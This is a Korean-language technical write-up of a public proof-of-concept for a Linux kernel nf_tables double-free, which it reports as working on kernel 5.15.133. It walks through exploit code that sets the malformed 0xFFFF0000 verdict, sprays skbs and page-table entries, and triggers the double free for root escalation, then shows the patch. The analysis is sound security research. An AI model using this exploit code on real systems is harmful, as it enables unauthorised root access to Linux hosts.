# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# use custom object archives compiled with musl-gcc for compatibility. normal ones
#   are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static# _strip_bin
run: _run_outfile
clean: _clean_outfile

_compile_static:
	$(CC) $(CFLAGS) $(SRC_FILES) -g  -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
	strip $(OUT_NAME)
_run_outfile:
	$(OUT_NAME)
_clean_outfile:
	rm $(OUT_NAME)

디버깅을 위해 Makefile을 수정해준다. _strip_bin 사용에 있어서 주석처리해주면 된다.

또한 -g 옵션을 추가하여 디버깅에 편이성을 더한다.

 

Kernel version 5.15.133 에서 poc가 정상적으로 성공한 것을 볼 수 있다.

 

---

 

// This program, and the other programs and scripts ("programs", "these programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of these programs, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with these programs.

int main()
{
	int *exploit_status;

	exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*exploit_status = EXPLOIT_STAT_RUNNING;

	// detaches program and makes it sleep in background when succeeding or failing
	// - prevents kernel system instability when trying to free resources
	if (fork() == 0)
	{
		int shell_stdin_fd;
		int shell_stdout_fd;

		signal(SIGINT, signal_handler_sleep);

		// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
		shell_stdin_fd = dup(STDIN_FILENO);
		shell_stdout_fd = dup(STDOUT_FILENO);

#if CONFIG_REDIRECT_LOG
		setup_log("exp.log");
#endif

		setup_env();
 
		privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

		*exploit_status = EXPLOIT_STAT_FINISHED;

		// prevent crashes due to invalid pagetables
		sleep(9999);
	}

	// prevent premature exits
	SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

	return 0;
}

PoC의 main()을 먼저 살펴보면 크게 4개의 단계로 구성되어 있다.

1. exploit_status라는 변수를 선언해주고 mmap()을 사용하여 메모리 맵핑을 수행한다.

int *exploit_status;

exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;

2. fork()를 통해 자식 프로세스를 생성 및 설정 작업을 거친다.

if (fork() == 0)
{

3. PoC 동작을 담당하는 Exploit 과정을 수행한다.

privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

4. 마지막으로 부모 프로세스를 설정해준다.

SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

 

이때 Exploit을 수행하는 코드를 살펴보면privesc_flh_bypass_no_time() 을 통해서 수행되고 있다. 이 함수의 흐름은 다음과 같다.

 

  기본적인 메모리 할당 및 해제 과정은 [ 할당 -> 해제 -> 할당 -> 해제 ] 과정을 거치면서 동작한다. double free 취약점을 trigger 하는 경우에는 [ 할당 - 해제 - 해제 ] 과정을 통해 동작이 이루어 지는데, 해당 PoC는 double free 취약점을 가지고 있음에도 [ 할당 -> 해제 -> 할당 -> 해제 ] 구조를 가지고 있다.

  이는 리눅스 커널 메모리 관리를 위해 사용되는 refcount라는 변수 때문인데, 메모리가 할당되면 값을 1로 설정해주고 해제되면 -1을 하여 0으로 설정한다. 이때 [ 할당 -> 해제 -> 해제 ] 구조를 가지고 진행을 하게 되면은 변수의 값이 1 -> 0 -> -1 로 바뀌게 되어 커널 패닉이 발생할 수 있기 때문에 할당과 해제 작업을 사용하여 취약점을 trigger 한다. 정확히는 하나의 메모리가 이중 참조된 상황에서 A 메모리 해제 후 다시 할당, 이후 B를 해제하는 과정을 통해 이루어진다. 이렇게 되면 자연스럽게 UAF (User After Free) 취약점이 발생하게 된다.

 

PoC 동작 구성도이다.

 

메모리 할당 및 해제를 위해 먼저 UDP 패킷을 생성하여 전송한다.

static void alloc_ipv4_udp(size_t content_size)
{
	PRINTF_VERBOSE("[*] sending udp packet...\n");
	memset(intermed_buf, '\x00', content_size);
	send_ipv4_udp(intermed_buf, content_size);
}

이 과정에서 네트워크 버퍼인 SKB가 커널 메모리에 할당된다.

 

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
	unsigned long long *pte_area;
	void *_pmd_area;
	void *pmd_kernel_area;
	void *pmd_data_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD, 
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 70,
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	char modprobe_path[KMOD_PATH_LEN] = { '\x00' };

	get_modprobe_path(modprobe_path, KMOD_PATH_LEN);

	printf("[+] running normal privesc\n");

    PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

	pin_cpu(0);

	// allocate PUD (and a PMD+PTE) for PMD
	mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0)
	
	......

UDP 패킷을 반복 생성 및 전송하여 공격 성공 확률을 높인다.

 

static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
{
	struct nftnl_rule *r = NULL;

	r = nftnl_rule_alloc();
	if (r == NULL) {
		perror("rule alloc");
		exit(EXIT_FAILURE);
	}

	nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
	nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
	nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);

	// expect protocol to be `proto`
	add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));

	// expect 4 first bytes of packet to be \x41
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);


	// (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
	// (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
	add_set_verdict(r, (unsigned int)(0xFFFF0000));

	return r;
}

앞서 취약점에 대해 설명할 때 한번 언급했던 코드 부분이다. 패킷 처리의 반환값을 0xFFFF0000으로 설정해준다. 이렇게 하면은 취약점을 Trigger 하기 위한 데이터 값을 함수의 인자로 입력할 수 있게 된다.

프로토콜 패킷 처음 4바이트 검사
- NFT_REG_1에 4바이트를 저장
- add_cmp()를 통해 NFT_REG_1의 값이 전송된 값과 동일한지 비교 
- 이후, 끝 4바이트를 추출하고 NFT_REG_1에 저장 add_cmp()를 통해 저장된 값이 ‘\x41\x41\x41\x41’인지 비교
- 규칙의 결과를 0xffff0000으로 설정 → 이후 nf_hook_slow()에 전달되어 취약점 트리거됨

 

privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

설정한 netfilter 규칙을 trigger 하기 위해 IP 패킷을 생성하여 전송한다. 

 

	set_ipfrag_time(9999);

	printf("[*] waiting for the calm before the storm...\n");
	sleep(CONFIG_SEC_BEFORE_STORM);

	// pop N skbs from skb freelist
	for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
	{
		PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
		alloc_ipv4_udp(1);
	}

	// allocate and free 1 skb from freelist
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // wait for other fragments. 8 >> 3 to make it wait or so?
	trigger_double_free_hdr(32768 + 8, &df_ip_header);

IP 패킷에 대한 처리를 수행하면서 취약점 악용을 위한 첫 번째 메모리 해제가 동작한다. trigger_double_free_hdr()에서 메모리 해제를 수행하는데 함수 호출 이전에 IP 헤더의 off 필드를 생성하고 있다. 이는 다음과 같은 동작을 의미한다.

df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);

해당 플래그를 사용하는 경우 IP 패킷이 조각화되어 skb가 IP Fragment Queue(IP 조각 대기열)에 들어가도록 설정 및 이전에 설정됬던 nftable 규칙에 의해 nf_hook(), no_hook_show()함수의 NF_DROP 케이스로 해제됨

한 마디로 메모리가 해제되었을 때 IP Fagment queue라는 곳에서 관리된다. 

kfree_skb_reason()에서 해제하는 메모리는 0xffff8880082e6b00인 것을 볼 수 있다.

 

 

이후 이전에 설정되었던 모든 UDP 패킷을 할당 해제한다.

// push N skbs to skb freelist
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
    PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
    recv_ipv4_udp(1);
}

동작 중간에 double-free 감지로 인한 비정상 종료 등을 방지하기 위함이다.

 

이후 scan 및 공격 수행을 위한 2번째 할당 해제를 위한 spray 과정을 수행한다.

	// spray-allocate the PTEs from PCP allocator order-0 list
	printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
		*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;

	PRINTF_VERBOSE("[*] double-freeing skb...\n");

 

할당 이후 다시 해제하는데 이때 IP Fragement queue 대기열에 위치한 패킷을 전송한다.

	// cause double-free on skb from earlier
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
	
	// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
	// causes end == offset in ip_frag_queue(). packet will be empty
	// remains running until after both frees, a.k.a. does not require sleep
	alloc_intermed_buf_hdr(0, &df_ip_header);

PTE spray를 통해 해제 되었던 udp 패킷의 구간인 skb를 다시 할당해주었기 때문에 free list에는 skb 네트워크 패킷에 대한 메모리가 존재하지 않는다. 때문에 IP Fragment queue에 위치한 skb를 해제할 때 double free 탐지를 수행하지 않게 되기 때문에 정상적인 메모리 해제가 이루어진다.

때문에 앞서 해제되었던 메모리인 0xffff8880082e6b00이 다시 한번 해제되는 것을 볼 수 있다. 

 

이후 modprobe overwrite를 통해 권한 상승 공격 (LPE)를 수행한다.

#해당 기법에 대해서는 조만간 포스팅 할 예정입니다.

 

뭔가 내용이 복잡하게 된 거 같은데 간단하게 이해를 하자면 0xffff0000을 전송하여 패킷에 대한 처리가 바로 NF_DROP으로 진행되게 했다가 내부 함수 NF_DROP_GETERR()에 의해서 ret를 0x1로 설정한다. 0x1은 ERR 코드도, NF_DROP도 아닌 NF_ACCEPT이기 때문에 다시 반환하고 NF_ACCEPT의 모든 동작이 끝난 이후 다시 메모리 해제가 발생한다. 이때 사용한 메모리는 앞서 NF_DROP 동작에 의해 해제가 된 메모리고, 해당 메모리를 가지고 NF_ACCEPT 동작을 수행하고 다시 free 해주는 것이기에 취약점 발생하는 것이다.

 

6. Patch

취약점이 발생하는 원본 코드이다.

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
			    struct nft_data_desc *desc, const struct nlattr *nla)
{
	u8 genmask = nft_genmask_next(ctx->net);
	struct nlattr *tb[NFTA_VERDICT_MAX + 1];
	struct nft_chain *chain;
	int err;

	err = nla_parse_nested_deprecated(tb, NFTA_VERDICT_MAX, nla,
					  nft_verdict_policy, NULL);
	if (err < 0)
		return err;

	if (!tb[NFTA_VERDICT_CODE])
		return -EINVAL;
	data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));

	switch (data->verdict.code) {
	default:
		switch (data->verdict.code & NF_VERDICT_MASK) {
		case NF_ACCEPT:
		case NF_DROP:
		case NF_QUEUE:
			break;
		default:
			return -EINVAL;
		}
		fallthrough;
	case NFT_CONTINUE:
	case NFT_BREAK:
	case NFT_RETURN:
		break;
	case NFT_JUMP:
		case NFT_GOTO:
		if (tb[NFTA_VERDICT_CHAIN]) {
			chain = nft_chain_lookup(ctx->net, ctx->table,
						 tb[NFTA_VERDICT_CHAIN],
						 genmask);
		} else if (tb[NFTA_VERDICT_CHAIN_ID]) {
			chain = nft_chain_lookup_byid(ctx->net,
						      tb[NFTA_VERDICT_CHAIN_ID]);
			if (IS_ERR(chain))
				return PTR_ERR(chain);
		} else {
			return -EINVAL;
		}

		if (IS_ERR(chain))
			return PTR_ERR(chain);
		if (nft_is_base_chain(chain))
			return -EOPNOTSUPP;

		chain->use++;
		data->verdict.chain = chain;
		break;
	}

	desc->len = sizeof(data->verdict);
	desc->type = NFT_DATA_VERDICT;
	return 0;
}

여기서 보면 각 패킷 상태에 따라서 switch문으로 구분해서 동작하게 되어 있다.

case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
    break;

 

 

이후 패치에서는 default 문을 사용해서 정의된 동작이 아닌 값들에 대해서는 무조건 -EINVAL을 반환하게 하고 있다.

default : 
	return -EINVAL;